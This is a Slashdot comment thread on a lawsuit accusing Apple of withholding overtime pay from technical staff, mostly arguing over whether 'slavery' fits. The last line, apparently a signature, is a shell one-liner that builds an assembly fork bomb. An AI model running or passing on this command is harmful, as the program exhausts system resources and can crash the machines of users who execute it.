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Apple Sued For Turning Workers Into Slaves
SwiftyNifty writes "Apple employees are putting together a class action lawsuit for not receiving overtime pay. A Lawsuit filed Monday in California seeks class action status alleging that Apple denied technical staffers required overtime pay and meal compensation in violation of state law.
Filed in the US District Court for Southern California, the complaint claims that many Apple employees are routinely subjected to working conditions resembling indentured servitude, or 'modern day slaves,' for lack of better words."
cultists don't get payed
If you think YOU'RE a slave, try working in a iPod factory in China for a while. And be glad Apple at least hasn't outsourced you....yet.
SJW: Someone who has run out of real oppression, and has to fake it.
You know for all the flak we give the traditional media, at least they don't have headlines like this.
Not properly dispensing overtime pay is not the same thing as slavery, and the disconnect between the inflammatory headline and TFA is appalling.
On a lighter note, the CAPTCHA for me is unionize.
The real litigious bastards...
Maybe these people need to talk with someone who has actually been enslaved before they claim they were treated the same way. They should be compensated appropriately for their time, but the shock value of using the term "slave" is pretty ridiculous.
Whale
It's their Jobs.
Nobody hunted him down and made him return to the job; he's not a slave, QED.
-jcr
The only title of honor that a tyrant can grant is "Enemy of the State."
'Slavery' seems like far too extreme of a word the 'indentured servitude' is slightly less inaccurate. And concerning 'servitude' the 13th amendment only prohibits "involuntary servitude". These people can quit if they would like.
Indentured Servitude: An indentured servant is a form of debt bondage worker, in which the indentured individual is intentionally, unethically and illegally deprived of their human rights, their civil rights and their personal freedom and liberty.
Unfortunately TFA is Slashdotted right now so I can't read all of the details, but if the summary is anything to go by, I really, really doubt Apple was forcing these guys to work due to debt and/or was holding them captive. What they did do was make their workers work OT without paying them correctly, which is an inexcusably naughty practice, but it's hardly indentured servitude, slavery, or any other form of bondage.
Furthermore this shit is fairly common, Apple isn't the first company or the last company to stiff their employees on OT. That doesn't make it right and certainly knocks Apple down a few pegs in my own eyes, but get some perspective here people.
She and her colleagues have "X" number of contract days for which they must report to work.
However of late, the practice has begun of additional "nonmandatory" meetings, training sessions, and general workdays. You know, "for the children." This has grown to the point where she is probably present "at work" during about 12 to 15 days of her summer vacation. None of this time is compensated in any way; in fact, with gasoline costs as they are, you may readily say SHE is paying for this privilege.
Oh, it's "not mandatory," but it is "expected" by the administrators, who like to boast to their peers about the amount of "donated time" they're getting out of their teachers. "Failure to cooperate" can lead to subtle retaliation.
My point is that this isn't "slavery" but it is d*mned inconsiderate. If you want to climb the "ladder of success," don't do it on the backs of your "underlings."
Any technology distinguishable from magic is insufficiently advanced.
Good god it appears to be the phrase of the year "We are just modern slaves". Top of the shop of abuse of the term is Sepp "I'm a nutter" Blatter who in reference to someone who is paid about $300,000 A WEEK said that it was just like modern slavery.
These people aren't slaves because.... THEY COULD QUIT. It might be tough, it might be hard, but either quit and get another job or work out a constructive way of fixing it.
Don't compare it to the physical ownership of another human being and the sort of destruction of human rights that entails.
An Eye for an Eye will make the whole world blind - Gandhi
Apple employees should just switch which pins are connected via the jumper. It's clearly labeled on the top of the drive.
You see? You see? Your stupid minds! Stupid! Stupid!
Apple made it perfectly clear in their contracts that they would be compensated by merely getting excited about the thought of working near the place where such secret and beautiful products are created. Even just working for Apple should be compensation enough. Hell, you should be able to get your date off merely by telling her you work for Apple.
I take it these people didn't get the memo. Do these people not know that?
The US and, in particular, California are a far cry from not having any significant workers' rights enshrined in law. Also, none of these people were above working elsewhere if the pay they got at Apple was really that awful for the hours they were putting in. Slavery and indentured servitude take away that choice. Capitalism doesn't suck. People bitching about their dream job not paying overtime sucks.
It Just Works.(TM)
Communism sucks worse. It's called working on a salary - the expectation is to do the job, and get paid for doing the job. Yeah, working for a big corporation can suck at times because to really get ahead there you have to do OYOT stuff, but that's something that society's most productive - and essential - members will ALWAYS do.
That being said, state law typically trumps any/all contract law - if the contract signed was illegal, then you're not held to it.
I don't get paid for showing up to work per hour. I get paid to work and do a job.
We're in America - we're free to fail, and I think that people don't like that sometimes - they felt they are owed for simply trying. You're not. Hence the complaints about stupid stuff like this where people FEEL "trapped" when they're not in it as much as they think they are. Successful people don't whine about their circumstances - they go out and try to change them.
Equating earning $100k and working in an air conditioned office longer than you expected with SLAVERY disparages the memories of those who were whipped to near death while working in fields, and paid nothing.
I think the court should order those workers to work on plantations without pay for a while, then reconsider their use of the word "slavery."
A slashdotter who didn't build his own computer is like a Jedi who didn't build his own lightsaber.
"Coke Cola introduced a new, delicious Lime-twisted beverage today, creating a Holocaust of flavor formerly unknown to this world until today. The lines of people at convenience stores remind one of cattle awaiting an unknown fate, only these cattle were people, and the fate a tasty, carbonated beverage."
Just wait until they win their suit..Apple will pay the court required payments.. then convert all those employee to an hourly status...at a base pay cut design to make it so that all the overtime is required to make it back to what they were getting in salary in the first place.
For the IBM employeesu in California that sued for the same thing.. the class won $56M and everyone in the class was reclassified as hourly at a 15% pay cut, because based on IBM's calculations that would keep the wage payments at the same level after the switch from salary to hourly. And oh by the way.. IBM applied the reclassification across all American employees in the same job category, but not the class action payments.
I remember when slashdot was full of smart people with a liberal philosophy
I don't remember that. I remember a slashdot full of nerds... all the way down.
... where, unless you are upper management, you are getting the shaft. Being a developer, I particularly like how (at my company anyway) our sales staff pulls down Director level salary and obscene commissions on the gross (NOT net) product they push out the door ... even when it means a loss for the company.
I remember back years ago where there were a few movements to form programmers unions ... doomed to failure from the inception. Programmers don't need huge entrenched installations to do our work like, say, UAW workers do ... and since every cocky high school kid who has churned out "Hello World" in Visual Basic thinks they can do real development ... and the typical management position that developers are an easily replaced commodity.
I dunno. I'm just old and jaded. Always do the best work you are capable of doing, and if you feel you deserve better compensation when your company is either unwilling (don't see you as a valuable asset) or unable (poor decisions have left them so fubar that they can't) then it is time to move on. Possibly more important ... if you are unhappy doing what you are doing, forget the compensation and move ASAP.
Suing your own company for a perceived lack of compensation is the best way to build resentment and to nail the coffin shut on your future with that, or any other, company.
"Glory is fleeting, but obscurity is forever." - Napoleon Bonaparte
I know that people love to throw around buzz words that illicit an immediate emotional response but I think people need to truly understand the power those words possess and recognize that, by using the word, they are not empowering their case. They are demonstrating a shocking lack of understanding of our world's history which immediately undermines their case as nothing more than the histrionics of a drama queen. Does this lawsuit have ground to stand on? Possibly. If Apple is treating their staff unfairly then a class action lawsuit is warranted. But, as soon as anyone associated with the case attached "slave" to their description of the situation, my immediate reaction because "attention whore seeking easy payday." If you're going to use an emotionally charged word, make certain it's relevant. In this case, it couldn't be less relevant if they tried. They may as well have simply likened Apple to Nazis while they were at it...
He'd say, you don't need to get paid. I agree. Steve Jobs agrees. Where's the problem?
"They can't fire you for not working overtime. "
Yes, yes they can, they can fire you without even giving a reason in any of the "at will" states.
Read the laws reguarding overtime. According the the Fair Labor Standards Act, an employee must be classified as exempt by meeting certain legal requirements, or they must be paid 1.5x their hourly wage. The law specifically states that no contract or agreement between employee and employer can override the law.
Read all about it, you very well might be a victim too!
http://www.dol.gov/esa/whd/flsa/
Sometimes the best solution is to stop wasting time looking for an easy solution.
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Don't misunderstand, I think it is very macho of you to give your labor away for free. Being taken advantage of by your bosses is the best way to prove that you are an IT god, after all. I'm sure that since you've taken care of your company in this way, they'll take care of you. Even if shipping your job someplace else or just eliminating it makes financial sense, I'm sure you'll be fine. After all, after all the loyalty and dedication you've shown, they'd never do that to you, would they?
Incidentally, iPods/iPhones? Worthless consumer junk, give me the cash not the overpriced trinket.
"MIT betrayed all of its basic principles."
Really ? According to an article I read (and please correct me if I'm wrong) the US is the ONLY industrialized nation where annual leave is not a legal requirement. Heck, most DEVELOPING countries have it as a requirement. 14 days a year in South Africa (and if you don't use them all, they have to pay you for it), a full month in Brazil, 2 months in Germany.
And the grand irony - legally protected annual leave has been proven to INCREASE corporate productivity (as much as any economic idea is ever proven anyways).
Unicode killed the ASCII-art *
I worked as a contractor at Chrysler and maintained their driving simulator. There was a union guy in the lab that was responsible for moving stuff around (I'd get fired if I moved a PC, I had to ask him to do it). Since we weren't moving stuff around much, he spent most of the day sleeping. Every once and a while the mock-up shop needed him to build a 1-1 scale car out of wood. It would take him a few days to build an exact replica of a new vehicle. The work he did (does?) was amazing.
Long story short: people with great potential and skills are sitting around doing nothing.
Mac fans show their people skills again.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;